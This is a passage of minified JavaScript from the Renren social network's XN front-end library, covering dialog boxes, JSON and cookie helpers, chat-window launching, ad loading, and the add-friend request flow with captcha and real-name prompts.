j.callBack.call(n)}}).show();b=n;if(j.noFooter){n.footer.hide()}if(j.noHeader){n.header.hide()}try{n.getButton(j.button).focus()}catch(m){}if(j.autoHide){n.autoHide(j.autoHide)}return n};var a=null;XN.DO.confirm=function(t,p,j,g,s,f,d,q,m){try{a.remove()}catch(n){}var k={type:"normal",width:400,yes:"确定",no:"取消",callBack:XN.func.empty,focus:null,params:{addIframe:true}};if(!isString(t)){$extend(k,t)}if(isString(t)||arguments.length>1){var l=arguments;XN.array.each(["message","title","callBack","yes","no","X","Y","w","h"],function(u,h){if(l[u]){k[h]=l[u]}})}var o=new XN.ui.dialog(k.params).setType(k.type).setTitle(k.title||(k.type=="error"?"错误提示":"提示")).setBody(k.msg||k.message||"").setWidth(k.width).setHeight(k.height).setX(k.X).setY(k.Y).addButton({text:(k.submit||k.yes),onclick:function(){o.setAutoHide(true);return k.callBack.call(o,true)}}).addButton({text:(k.cancel||k.no),onclick:function(){return k.callBack.call(o,false)}}).show();o.getButton(k.cancel||k.no).addClass("gray");if(k.focus=="submit"){k.focus=k.submit}else{if(k.focus=="cancel"){k.focus=k.cancel}}o.getButton(k.focus||k.submit||k.yes).focus();a=o;return o};XN.DO.showMessage=XN.DO.showMsg=function(h,g,f){var d=XN.DO.alert({msg:h,title:(g||"提示"),noFooter:true,autoHide:(f||2)});return d};XN.DO.showError=function(h,g,f){var d=XN.DO.alert({msg:h,type:"error",title:(g||"错误提示"),noFooter:true,autoHide:(f||2)});return d}})();XN.json={_ESCAPES:/\\["\\\/bfnrtu]/g,_VALUES:/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,_BRACKETS:/(?:^|:|,)(?:\s*\[)+/g,_INVALID:/^[\],:{}\s]*$/,_SPECIAL_CHARS:/["\\\x00-\x1f\x7f-\x9f]/g,_PARSE_DATE:/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2})Z$/,_CHARS:{"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},dateToString:function(b){function a(c){return c<10?"0"+c:c}return'"'+b.getUTCFullYear()+"-"+a(b.getUTCMonth()+1)+"-"+a(b.getUTCDate())+"T"+a(b.getUTCHours())+":"+a(b.getUTCMinutes())+":"+a(b.getUTCSeconds())+'Z"'},stringToDate:function(b){if(XN.JSON._PARSE_DATE.test(b)){var a=new Date();a.setUTCFullYear(RegExp.$1,(RegExp.$2|0)-1,RegExp.$3);a.setUTCHours(RegExp.$4,RegExp.$5,RegExp.$6);return a}},parse:function(str){return eval("("+str+")")},build:function(c,k,g){var f=XN.JSON._CHARS,a=XN.JSON._SPECIAL_CHARS,b=[];var j=function(m){if(!f[m]){var d=m.charCodeAt();f[m]="\\u00"+Math.floor(d/16).toString(16)+(d%16).toString(16)}return f[m]};var n=function(d){return'"'+d.replace(a,j)+'"'};var l=XN.JSON.dateToString;var h=function(m,z,x){var C=typeof m,s,u,q,p,A,B,y;if(C==="string"){return n(m)}if(C==="boolean"||m instanceof Boolean){return String(m)}if(C==="number"||m instanceof Number){return isFinite(m)?String(m):"null"}if(m instanceof Date){return l(m)}if(isArray(m)){for(s=b.length-1;s>=0;--s){if(b[s]===m){return"null"}}b[b.length]=m;y=[];if(x>0){for(s=m.length-1;s>=0;--s){y[s]=h(m[s],z,x-1)||"null"}}b.pop();return"["+y.join(",")+"]"}if(C==="object"){if(!m){return"null"}for(s=b.length-1;s>=0;--s){if(b[s]===m){return"null"}}b[b.length]=m;y=[];if(x>0){if(z){for(s=0,q=0,u=z.length;s<u;++s){if(typeof z[s]==="string"){A=h(m[z[s]],z,x-1);if(A){y[q++]=n(z[s])+":"+A}}}}else{q=0;for(p in m){if(typeof p==="string"&&typeof m[p]!="undefined"){A=h(m[p],z,x-1);if(A){y[q++]=n(p)+":"+A}}}}}b.pop();return"{"+y.join(",")+"}"}return undefined};g=g>=0?g:1/0;return h(c,k,g)}};XN.JSON=XN.Json=XN.json;(function(){writepipe=function(d,a){if(d>0){var c=GetCookie("_pipe");if(c){c+=":"}SetCookie("_pipe",c+d+":"+escape(a),null,"/",""+XN.env.domain+"")}var b=GetCookie("_wi");if("opening"==b){}else{if("running"==b){}else{SetCookie("_wi","opening",null,"/",XN.ENV.domain);window.wiw=window.open("http://"+XN.env.domain+"/webpager.do?toid="+d,"_blank","height=600,width=650,resizable=yes,location=yes");if(window.wiw_checker){window.clearInterval(window.wiw_checker)}window.wiw_checker=window.setInterval(function(){if(window.wiw.closed){window.clearInterval(window.wiw_checker);SetCookie("_wi","",null,"/",XN.ENV.domain)}},1000);return true}}try{if(window.wiw){window.wiw.focus()}}catch(f){}return false};talkto=function(g,b,d,h){try{var c=new ActiveXObject("xntalk.Application");if(c){c.openChat("",g);return true}}catch(j){}if(top.frames.imengine.gPagerType==4){if(top.frames.imengine.imHelper.isLoginUser()){var f=top.frames.imengine.imui.chatTabs;f.onActivateWidget(g,b,d,h);f.switchFocus(g);return true}}try{writepipe(g,b)}catch(j){}};jump_and_download=function(a){if(XN.BROWSER.IE){window.open(a,"download_window","toolbar=0,location=no,directories=0,status=0,scrollbars=0,resizeable=0,width=1,height=1,top=0,left=0");window.focus()}}})();function GetCookieVal(a){var b=document.cookie.indexOf(";",a);if(b==-1){b=document.cookie.length}return unescape(document.cookie.substring(a,b))}function GetCookie(g){var a=g+"=";var f=a.length;var d=document.cookie.length;var c=0;while(c<d){var b=c+f;if(document.cookie.substring(c,b)==a){return GetCookieVal(b)}c=document.cookie.indexOf(" ",c)+1;if(c==0){break}}return null}function SetCookie(f,c){var j=SetCookie.arguments;var h=SetCookie.arguments.length;var g=(h>2)?j[2]:null;var d=(h>3)?j[3]:null;var b=(h>4)?j[4]:null;var a=(h>5)?j[5]:false;document.cookie=f+"="+escape(c)+((g==null)?"":("; expires="+g.toGMTString()))+((d==null)?"":("; path="+d))+((b==null)?"":("; domain="+b))+((a==true)?"; secure":"")}var IMHack={};(function(){function a(g,h){for(i in h){g.style[i]=h[i]}}function f(g,h){return XN.DOM.getElementsByClassName(h,g)}var c=null;var d=null;var b=function(){a(c,{visibility:"hidden"});clearTimeout(d);d=setTimeout(function(){a(c,{visibility:"visible"});c.className=c.className},500)};IMHack.hackToolBar=function(){c=document.getElementById("wpiroot");a(c,{position:"absolute",right:0});$(window).addEvent("scroll",b).addEvent("resize",b)};IMHack.hackWidget=function(h){var g=h.getElementsByTagName("div")[0];a(g,{position:"absolute",bottom:"23px"});if(f(h,"buddy-list").length>0){a(g,{right:"-62px"})}else{if(f(h,"notifications").length>0){a(g,{right:"-31px"})}else{if(f(h,"status-control").length>0){a(g,{right:"-1px"})}else{if((/\bm-chat-button-chattab\b/.test(h.className))){a(h,{position:"relative"});a(f(h,"m-chat-window")[0],{position:"absolute",right:"-2px",bottom:"23px"})}else{a(g,{right:0})}}}}}})();if(XN.browser.Gecko){if(XN.string.getQuery("debug_mode")){XN.debug.on()}}(function(){window.render_jebe_ads=function(a){if(!window.ad_js_version){return}XN.loadFile("http://jebe.xnimg.cn/"+ad_js_version+"/render.js",function(){render_jebe_ads_load(a)})};window.load_jebe_ads=function(a,b){if(!a){return}XN.dom.ready(function(){var c=XN.cookie.get("id");if(!c||XN.string.isBlank(c)){c=""}var d="http://shaft.jebe.renren.com/show?userid="+encodeURIComponent(c)+"&tt="+new Date().getTime();if(b){d+="&r="+b}XN.loadFile({file:d,type:"js"})})}})();XN.USER=XN.User={};XN.USER.me=function(a){};currentUser={};XN.EVENT.enableCustomEvent(currentUser);XN.USER.addFriendAction=function(a){this.config={commentLength:45,needComment:true,requestURI:"/ajax_request_friend.do"};if(new RegExp("http://req."+XN.env.domain_reg).test(window.location.href)){this.config.requestURI="http://friend."+XN.env.domain+""+this.config.requestURI}$extend(this.config,a)};XN.USER.addFriendAction.prototype={getConfig:function(a){return this.config[a]},send:function(h,c,g,b,a){var b=b!=1?0:1;var a=a||"";var f=this;if(this.getConfig("needComment")){if(XN.STRING.isBlank(c)){this.fireEvent("checkError","您输入的信息不能为空");return}}if(c.length>this.getConfig("commentLength")){this.fireEvent("checkError","您输入的信息不能超过"+this.getConfig("commentLength")+"个字符");return}var d="id="+h+"&why="+c+"&codeFlag="+b+"&code="+a;this.fireEvent("beforePost");new XN.NET.xmlhttp({url:this.getConfig("requestURI")+"?from="+g,data:d,onSuccess:function(k){k=k.responseText;if(isJSON(k)){var j=XN.JSON.parse(k)}else{j={result:-1}}if(j.result=="-1"){f.fireEvent("flagError");return}f.fireEvent("success",h,k,g);if(!window.currentUser){return}if(currentUser.fireEvent){currentUser.fireEvent("addFriendSuccess",h,k,g)}if(currentUser.onaddFriendSuccess){currentUser.onaddFriendSuccess(h,k)}},onError:function(){f.fireEvent("error",h,g);if(!window.currentUser){return}currentUser.fireEvent("addFriendError",h,r,g)}})}};XN.EVENT.enableCustomEvent(XN.USER.addFriendAction.prototype);XN.DOM.readyDo(function(){var dialog=null;var user=null;var isStar=true;function loadingDialog(){dialog=XN.DO.confirm({title:"将"+user.name+"加为好友?",msg:'<div style="font-size: 14px;  height:100px; line-height: 1.8em; padding-left: 20px;" class="clearfix"><div style="padding: 4px; background: transparent url('+XN.ENV.staticRoot+'imgpro/bg/picholder59.gif) no-repeat scroll 0% 0%;width: 59px; height: 59px; float: left;"><a href="#" style="background: transparent url('+user.head_url+') no-repeat scroll center center;height: 50px; width: 50px; display: block;">&nbsp;</a></div><div style="margin-left: 10px; height: 30px; float: left;width:240px;font-size:12px;"><h3 style="margin-top:15px;"><img style="display:block;float:left;margin:5px 10px 0 0;" src="'+XN.ENV.staticRoot+'/img/indicator.gif" />Loading...</h3></div></div>',width:400});dialog.footer.style.display="none"}function getMessage(speak,isStar,gender){var showSpeak=speak==""?"none":"block";var showUpload=isStar?"none":"block";var html=['<div style="width:370px;padding:4px;color:#EF4223;background-color:#FEFFCF;position:relative;top:-10px;left:-10px;_margin-bottom:0;">需要通过<em>',user.name,"</em>的验证才能加",gender,"为好友！</div>",'<div style="padding: 4px; background: transparent url(',XN.ENV.staticRoot,'imgpro/bg/picholder59.gif) no-repeat scroll 0% 0%;width: 59px; height: 59px; float: left;"><a href="#" style="background: transparent url(',user.head_url,') no-repeat scroll center center; height: 50px; width: 50px; display: block;">&nbsp;</a></div>','<div id="addFriendAlert" style="float: left;width:265px;">','<h4 style="display:',showSpeak,';margin-bottom:10px;">',user.name,'说: <span style="font-weight: 400;">',speak,"</span></h4>",'<p style="margin: 0 0 10px 0;">','<textarea id="addFriendMessage" style="border: 1px solid #B8D4E8; width: 100%; height:50px;color: gray;" title="附加信息(选填，45字内)" onfocus="if(this.value==this.title)this.value=\'\';" onblur="if(this.value==\'\')this.value=this.title;">附加信息(选填，45字内)</textarea>',"</p>",'<div style="display:',showUpload,';clear:both;text-align:center;"><a style="font-size:12px;" target="_blank" href="http://head.upload.'+XN.env.domain+'/Upload.do?from=friend">使用真实头像，提高请求通过率</a></div>','</div><div style="clear:both;"></div>'];return html.join("")}function requestDialog(speak,isStar,gender,code,codeFlag){dialog=XN.DO.confirm({title:"将"+user.name+"加为好友?",msg:getMessage(speak,isStar,gender),width:400,callBack:function(r){if(r){var obj=$("addFriendMessage");var why=obj.value==obj.title?"":obj.value;getAction().send(user.id,why,user.from,code,codeFlag)}}});dialog.footer.style.display=""}function beforePost(){$("addFriendAlert").innerHTML="正在发送请求...";dialog.footer.hide();try{dialog.preventHide()}catch(e){dialog.show()}}function recommendFriend(){if(typeof showRecommendedFriendDialog!="undefined"){showRecommendedFriendDialog(user.id,user.name,1,true)}else{XN.loadFiles(["http://s.xnimg.cn/csspro/apps/profile.css","http://s.xnimg.cn/jspro/xn.app.recommendFriend.js"],function(){showRecommendedFriendDialog(user.id,user.name,1,true)})}}function createSwfUploader(callback){if(typeof SWFUpload=="undefined"){XN.loadFile("http://s.xnimg.cn/jspro/swfupload.v2.2.0.1/swfupload.js",createSwfUploader);return}var uploader=new SWFUpload({flash_url:"http://s.xnimg.cn/jspro/swfupload.v2.2.0.1/swfupload.swf",upload_url:"http://head2.upload.kaixin.com/home/FileUpload.do?from=friend&societyguester="+XN.cookie.get("societyguester")+"&hostid="+XN.cookie.get("id")+"&t="+XN.cookie.get("t"),button_image_url:"http://s.xnimg.cn/imgpro/guide/friends-guide-upload.png",button_cursor:SWFUpload.CURSOR.HAND,button_placeholder_id:"uploadPhotoButton",button_action:SWFUpload.BUTTON_ACTION.SELECT_FILE,button_width:173,button_height:34,file_types:"*.jpg;*.jpeg;*.png;*.bmp;*.gif",file_types_description:"All Image Files",button_window_mode:SWFUpload.WINDOW_MODE.TRANSPARENT,upload_success_handler:function(file,r){var data=XN.JSON.parse(r);if(data.code==1){callback()}else{alert(data.msg)}},file_queued_handler:function(){this.startUpload()},upload_error_handler:function(file,code,message){alert(message)}})}function success(id,message){var This=this;if(isJSON(message)){var msg=XN.JSON.parse(message)}else{var msg={code:0,targetfriendcount:100,message:message}}if(msg.code==0||msg.code==1){if(msg.targetfriendcount<=12){dialog.hide();recommendFriend()}else{if(!isStar){dialog.hide();XN.DOM.disable();dialog=new XN.ui.dialog();dialog.frame.style.width="460px";dialog.header.innerHTML="申请已发送，请等待对方确认";dialog.closeButton.show();dialog.closeButton.onclick=function(){dialog.frame.hide();XN.DOM.enable();return false};dialog.body.innerHTML=['<span class="hints" style="border:0;text-align:left;color:#EF4223; background-color:#FEFFCF;width:433px;padding:5px 0 5px 5px;position:relative;left:-10px;display:block;top:-10px;">','<a href="http://renren.com/notselectuser.do?action=no" style="cursor:pointer;font-weight:normal;padding:0;color:#EF4223;">用真实头像、真姓名免费升级为星级用户</a>',"</span>",'<div style="margin: 0pt auto; background: transparent url(http://xnimg.cn/imgpro/plug/nostar-addfir.png) no-repeat scroll 0% 0%;width: 300px; height: 96px;"></div>'].join("");dialog.footer.innerHTML='<p style="background:url(http://s.xnimg.cn/imgpro/guide/friends-guide-upload.png) no-repeat;width:173px;height:34px;margin:3px auto;"><span id="uploadPhotoButton" ></span></p><div style="text-align:center;">提交时，请使用<a href="#nogo">真实姓名</a></div>';dialog.footer.getElementsByTagName("a")[0].onclick=function(){dialog.hide();XN.DO.confirm({title:"提交真实姓名",msg:'<label><span style="display:inline-block;width:60px;">姓&nbsp;&nbsp;&nbsp;名：</span><input type="text" id="realName" class="input-text" /></label><p style="color:#555;margin-top:10px;line-height:1.4em;">'+XN.env.siteName+'是真实的社交社区，填写真实姓名，朋友才能找到你。使用网名、绰号、假名、英文名将不会被审核通过，只有审核通过的姓名才能修改成功。每年有一次通过审核的机会。<br />星级用户可以使用<a  href="http://www.renren.com/BasicInfo.do" target="_blank">昵称</a>功能。</p>',callBack:function(value){if(value==true){if(!$("realName").value){XN.DO.showError("请填写真实姓名!");return}new XN.net.xmlhttp({url:"http://home."+XN.env.domain+"/AjaxModifyName.do?name="+encodeURIComponent($("realName").value),onSuccess:function(r){eval("rt="+r.responseText);if(rt.status==0){XN.DO.showMessage(rt.msg)}else{XN.DO.showError(rt.msg)}},onError:function(){XN.DO.showError("网络错误！")}})}}})};createSwfUploader(function(){dialog.hide();XN.DO.showMessage("头像已经上传成功，正在审核。")})}else{$("addFriendAlert").innerHTML=msg.message;setTimeout(function(){dialog.hide()},1500)}}if(user.action){try{eval(user.action)}catch(e){}}if(user.callback){user.callback(user.id)}}else{dialog.hide();XN.DO.alert({title:"好友申请失败",message:"<p style='margin:10px;'>"+msg.message+"</p>"})}}function getFrom(){var path=location.href;if(path.indexOf("http://home."+XN.env.domain)==0){return"fromHome"}else{if(path.indexOf("http://"+XN.env.domain+"/profile.do")==0){return"fromProfile"}else{if(path.indexOf("http://friend."+XN.env.domain)==0){return"fromFriend"}else{if(path.indexOf("http://guide."+XN.env.domain+"/pv-090729.do")==0){return"privacy"}else{if(path.indexOf("http://guide."+XN.env.domain+"/guide.do")==0){return"guide"}else{if(path.indexOf("http://browse."+XN.env.domain+"/relationSearch.do?from=guide")==0){return"guide_more"}else{if(path.indexOf("http://browse."+XN.env.domain+"/searchEx.do?from=opensearch")==0){return"search_tab"}else{if(path.indexOf("http://browse."+XN.env.domain+"/searchEx.do")==0){return"search"}}}}}}}}return""}function createUser(args){var user=null;var from=getFrom();if(!/^\d+$/.test(args[0])){user={id:args[1],name:args[2],head_url:args[3],star:true,from:(args[4]||from),action:args[5]}}else{user={id:args[0],name:args[1],head_url:args[2],star:args[3],from:(args[4]||from),callback:args[5]}}return user}function getAction(){var action=new XN.USER.addFriendAction({needComment:false});action.addEvent("beforePost",beforePost);action.addEvent("success",success);action.addEvent("checkError",function(message){dialog.hide();XN.DO.showError(message,"错误提示",2);setTimeout(function(){dialog.show()},2000)});action.addEvent("flagError",function(){dialog.hide();XN.DO.showError("验证码输入错误请重新操作！")});action.addEvent("error",function(id,message){dialog.hide();XN.DO.showError(message)});return action}function checkCodeFlag(code,cFun){var errFun=function(mes){if($("verifycodemes")){$("verifycodemes").style.visibility="visible";$("verifycodemes").innerHTML=mes}setTimeout(function(){new XN.form.inputHelper($("verifyCode")).focus()},10)};if(XN.string.isBlank(code)){errFun("验证码不能为空，请重试！");return}new XN.NET.xmlhttp({url:"http://friend."+XN.env.domain+"/BeforeRequestFriend.do",method:"post",data:"method=checkCode&code="+code,onSuccess:function(r){var str=r.responseText;if(isJSON(str)){var re=XN.JSON.parse(str)}else{re={result:-1}}if(re.result=="0"){cFun&&cFun()}else{errFun("验证码输入错误，请重试！")}},onError:function(){XN.DO.showError("服务器异常，请稍候再试！")}})}window.showRequestFriendDialog=function(uid,name,head,star,from,action){var url="http://friend."+XN.env.domain+"/BeforeRequestFriend.do";new XN.NET.xmlhttp({url:url,method:"post",onSuccess:function(r){var str=r.responseText;if(isJSON(str)){var re=XN.JSON.parse(str)}else{re={result:-1}}var code=re.result;if(code==0){sendRequestFriendDialog(uid,name,head,star,from,action,0,"")}else{if(code==1){var dialog=XN.DO.confirm({title:"加为好友",message:"<b>Loadding...</b>",callBack:function(r){if(r){dialog.preventHide();var fun=function(){sendRequestFriendDialog(uid,name,head,star,from,action,1,$("verifyCode").value);dialog.hide()};checkCodeFlag($("verifyCode").value,fun)}else{dialog.hide()}}});dialog.setBody('确定加<b>"'+name+'"</b>为好友吗？<table><tbody><tr><td><div style="padding-top: 18px;">验证码:<input type="text"class="input-text" id="verifyCode"/><div><div style="padding: 5px 0pt 0px 40px; color: red;visibility:hidden" id="verifycodemes">验证码不能为空，请重试！</div></td><td><img id="verify_code_img" src="http://icode.'+XN.env.domain+"/getcode.do?t=requestfriend_&temp="+(new Date().getTime())+'" style="display:block;vertical-align:baseline;margin-left:5px;width:123px;height:46px;" /><a href="javascript:;" onclick="$(\'verify_code_img\').src=\'http://icode.'+XN.env.domain+"/getcode.do?t=requestfriend_&r='+Math.random();return false;\">看不清或看不见？换一张</a></td></tbody></tabel>");setTimeout(function(){new XN.form.inputHelper($("verifyCode")).focus()},10)}else{XN.DO.showError("服务器异常,请稍后再试!")}}},onError:function(){XN.DO.showError("服务器异常,请稍后再试!")}})};window.sendRequestFriendDialog=function(uid,name,head,star,from,action,code,codeFlag){user=createUser(arguments);loadingDialog();var url="http://friend."+XN.env.domain+"/GetFriendCue.do";new XN.NET.xmlhttp({url:url,method:"get",data:"id="+user.id,onSuccess:function(r){try{var result=XN.JSON.parse(r.responseText);var speak=result.type==0?"":result.content;var gender=result.ta===false?"她":"他";isStar=result.isTrue?true:false;requestDialog(speak,isStar,gender,code,codeFlag)}catch(e){requestDialog("",true,"TA",code,codeFlag)}},onError:function(r){dialog.hide();requestDialog("",true,"TA",code,codeFlag)}})}});(function(){if(!XN.browser.IE){return}var a="";XN.dom.ready(function(){a=document.getElementsByTagName("title")[0].innerHTML});XN.event.addEvent(window,"load",function(){setTimeout(function(){document.title=a},1000)})})();XN.namespace("ui");(function(){XN.ui.element={frame:null,iAmUIelement:true};XN.array.each(["addClass","delClass","show","hide","remove"],function(b,a){XN.ui.element[a]=function(){XN.element[a].apply(null,[this.frame].concat(XN.array.build(arguments)))}});XN.ui.container={container:null};XN.array.each(["addChild","delChild","setContent"],function(b,a){XN.ui.container[a]=function(){XN.element[a].apply(null,[this.container].concat(XN.array.build(arguments)))}});$extend(XN.ui.container,XN.ui.element)})();XN.UI=XN.Ui=XN.ui;XN.ui.Element=XN.ui.element;XN.ui.Content=XN.ui.container;(function(c){var f=XN.ui;var d=XN.event.addEvent;var a=true;function b(g){if(a){XN.log(isString(g)?"xn.ui.button:"+g:g)}}c.button=function(g){$extend(this,g);this.init()};c.button.prototype=$extend({},f.Element);c.button.prototype.text=null;c.button.prototype.className="";c.button.prototype.disableClassName="gray";c.button.prototype.init=function(){var h=this;var g;if(this.getConfig("el")){g=$(this.getConfig("el"))}else{g=$element("input")}this.frame=g;g.type="button";this.addClass("input-submit");this.addClass(this.getConfig("className"));this.setText(this.getConfig("text"));d(g,"click",function(){if(h.onclick){h.onclick()}},false)};c.button.prototype.getConfig=function(g){if(g=="el"){return this.id}return this[g]};c.button.prototype.getEl=function(){return this.frame};c.button.prototype.setText=function(g){this.text=g;this.getEl().value=g};c.button.prototype.disable=function(){var g=this.getEl();g.blur();g.disabled=true;g.addClass(this.getConfig("disableClassName"))};c.button.prototype.enable=function(){var g=this.getEl();g.disabled=false;g.delClass(this.getConfig("disableClassName"))};c.button.prototype.focus=function(){this.getEl().focus()};c.button.prototype.blur=function(){this.getEl().blur()}})(XN.ui);(function(){var d="realLeft",a="realTop",b="offsetWidth",c="offsetHeight";XN.ui.fixPositionMethods={"1-1":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+"px";j.style.top=l+h[a]()-k[a]()+"px"},"1-2":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()-j[b]+"px";j.style.top=l+h[a]()-k[a]()+"px"},"1-3":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()-j[b]+"px";j.style.top=l+h[a]()-k[a]()-j[c]+"px"},"1-4":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+"px";j.style.top=l+h[a]()-k[a]()-j[c]+"px"},"2-1":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]+"px";j.style.top=l+h[a]()-k[a]()+"px"},"2-2":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]-j[b]+"px";j.style.top=l+h[a]()-k[a]()+"px"},"2-3":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]-j[b]+"px";j.style.top=l+h[a]()-k[a]()-j[c]+"px"},"2-4":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]+"px";j.style.top=l+h[a]()-k[a]()-j[c]+"px"},"3-1":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]+"px";j.style.top=l+h[a]()-k[a]()+h[c]+"px"},"3-2":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]-j[b]+"px";j.style.top=l+h[a]()+h[c]+"px"},"3-3":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]-j[b]+"px";j.style.top=l+h[a]()-k[a]()+h[c]-j[c]+"px"},"3-4":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+h[b]+"px";j.style.top=l+h[a]()-k[a]()+h[c]-j[c]+"px"},"4-1":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+"px";j.style.top=l+h[a]()-k[a]()+h[c]+"px"},"4-2":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()-j[b]+"px";j.style.top=l+h[a]()-k[a]()+h[c]+"px"},"4-3":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()-j[b]+"px";j.style.top=l+h[a]()-k[a]()+h[c]-j[c]+"px"},"4-4":function(j,h,g,l,k){j.style.left=g+h[d]()-k[d]()+"px";j.style.top=l+h[a]()-k[a]()+h[c]-j[c]+"px"}}})();XN.ui.fixPositionElement=function(g){var d=this;this.config={tagName:"div",useIframeInIE6:true};$extend(this.config,g);var c,a,h;if(this.getConfig("id")){this.frame=c=$(this.getConfig("id"));a=c.realLeft();h=c.realTop()}else{if(this.getConfig("tagName")){this.frame=this.container=c=$element(this.getConfig("tagName"))}else{return}}this.container=$element("div");this.frame.appendChild(this.container);XN.array.each(["alignWith","alignType","offsetX","offsetY","alignParent"],function(j,f){d[f]=d.getConfig(f)||d[f]});XN.element.setStyle(c,"position:absolute;z-index:10001;left:-9999px;top:-9999px");if(!$(this.alignParent)){this.alignParent=$(document.body)}$(this.alignParent).appendChild(this.frame);if((XN.browser.IE6&&this.getConfig("useIframeInIE6"))||this.getConfig("addIframe")){var b;this._iframe=b=$element("iframe");b.frameBorder=0;b.setStyle("position:absolute;border:0px;left:0px;top:0px;z-index:-1;");if(XN.browser.Gecko){b.setAttribute("style","position:absolute;border:0px;left:0px;top:0px;z-index:-1;")}if(XN.browser.IE){b.style.filter="progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)"}this.frame.appendChild(b)}if(XN.element.visible(c)){this.show()}c.style.display="block"};XN.ui.fixPositionElement.prototype=$extend({},XN.ui.container);$extend(XN.ui.fixPositionElement.prototype,{alignWith:null,alignType:"4-1",offsetX:0,offsetY:0,alignParent:"dropmenuHolder",left:null,top:null,_isShow:false,getConfig:function(a){return this.config[a]},setOffsetX:function(a){this.offsetX=a;this.refresh();return this},setOffsetY:function(a){this.offsetY=a;this.refresh();return this},setAlignType:function(a){this.alignType=a;this.refresh();return this},setAlignParent:function(a){this.alignParent=a;$(this.alignParent).appendChild(this.frame);this.refresh();return this},refresh:function(){if(this.visible()){this.show()}else{this.hide()}return this},visible:function(){return this._isShow},show:function(){this._isShow=true;this.frame.show();if(this.alignWith){this._moveToElement(this.alignWith)}else{var a=this.left===null?parseInt((($(this.alignParent).offsetWidth-this.frame.offsetWidth)/2),10):this.left;var c=this.top===null?XN.event.scrollTop()+200:this.top;this._moveToPosition(a,c)}if(this._iframe){try{this._iframe.style.height=this.frame.offsetHeight-2+"px";this._iframe.style.width=this.frame.offsetWidth+"px"}catch(b){}}return this},hide:function(){this._isShow=false;var a=this.frame;a.style.left="-9999px";a.style.top="-9999px";return this},moveTo:function(a,b){if(!a&&!b){return}if(isNumber(a)){this.left=a;this.alignWith=null}else{if(isString(a)||isElement(a)){this.alignWith=$(a)}}if(isNumber(b)){this.top=b;this.alignWith=null}this.refresh();return this},setX:function(a){this.moveTo(a);return this},setY:function(a){this.moveTo(null,a);return this},setIndex:function(a){this.frame.style.zIndex=a;return this},_moveToElement:function(a){XN.ui.fixPositionMethods[this.alignType](this.frame,$(a),this.offsetX,this.offsetY,$(this.alignParent))},_moveToPosition:function(a,b){if(a){this.frame.style.left=a+"px"}if(b){this.frame.style.top=b+"px"}}});(function(){var b=XN.ui.fixPositionElement.prototype;var a=XN.event;XN.ui.dialog=function(d){var c=this;XN.ui.fixPositionElement.call(this,d);this.container=$element("div");this.frame.appendChild(this.container);if(this.getConfig("HTML")){this.setContent(this.getConfig("HTML"))}else{this.setContent(this.buildHTML())}this.dialogContainer=$("ui_dialog_container");this.header=$("ui_dialog_header");this.body=$("ui_dialog_body");this.footer=$("ui_dialog_footer");this.closeButton=$("ui_dialog_close");this.header.addChild=this.body.addChild=this.footer.addChild=function(f){XN.element.addChild(this,f);setTimeout(function(){c.refresh()},0)};this.dialogContainer.removeAttribute("id");this.header.removeAttribute("id");this.body.removeAttribute("id");this.footer.removeAttribute("id");this.closeButton.removeAttribute("id");if(this.getConfig("showCloseButton")){this.closeButton.show();XN.event.addEvent(this.closeButton,"click",function(){c.hide()})}this.frame.style.zIndex=10000;this.setWidth(this.getConfig("width")||400);if(this.getConfig("height")){this.setHeight(this.getConfig("height"))}XN.array.each(["header","body","footer"],function(g,f){if(c.getConfig(f)){c[f].setContent(c.getConfig(f))}});if(this.getConfig("type")){this.setType(this.getConfig("type"))}this._buttons=[];XN.event.addEvent(this.footer,"click",function(f){f=f||window.event;c._parseButtonEvent(f)});XN.util.hotKey.add("27",this._hotKeyEvent,this);if(this.getConfig("modal")){XN.dom.disable()}};XN.ui.dialog.prototype=$extend({},b);$extend(XN.ui.dialog.prototype,{header:null,body:null,footer:null,_iframe:null,_buttons:null,buildHTML:function(){return['<table id="ui_dialog_container" style="width: 100%; height: 100%;" class="pop_dialog_table">',"<tbody>","<tr>",'<td class="pop_topleft"></td>','<td class="pop_border"></td>','<td class="pop_topright"></td>',"</tr>","<tr>",'<td class="pop_border"></td>','<td class="pop_content">','<h2><span id="ui_dialog_header"></span><a style="display:none;" class="close-button" id="ui_dialog_close" href="#nogo">关闭</a></h2>','<div class="dialog_content">','<div id="ui_dialog_body" class="dialog_body"></div>','<div id="ui_dialog_footer" class="dialog_buttons"></div>',"</div>","</td>",'<td class="pop_border"></td>',"</tr>","<tr>",'<td class="pop_bottomleft"></td>','<td class="pop_border"></td>','<td class="pop_bottomright"></td>',"</tr>","</tbody>","</table>"].join("")},getButton:function(f){var d=this._buttons;for(var c=d.length-1;c>=0;c--){if(d[c].text==f){return d[c]}}return null},addButton:function(c){var f={text:c.text,_onclickForDialog:c.onclick};if(c.className){f.className=c.className}var d=new XN.ui.button(f);d.frame.setAttribute("dialog","1");this._buttons.push(d);this.footer.addChild(d);return this},delButton:function(c){if(isString(c)){c=this.getButton(c)}this.footer.delChild(c);return this},_preventHide:false,preventHide:function(){this._preventHide=true;return this},setAutoHide:function(c){this._preventHide=!c;return this},_parseButtonEvent:function(f){var d=a.element(f);if(d.tagName.toLowerCase()!=="input"||d.type!=="button"){return}if(!d.getAttribute("dialog")){return}var 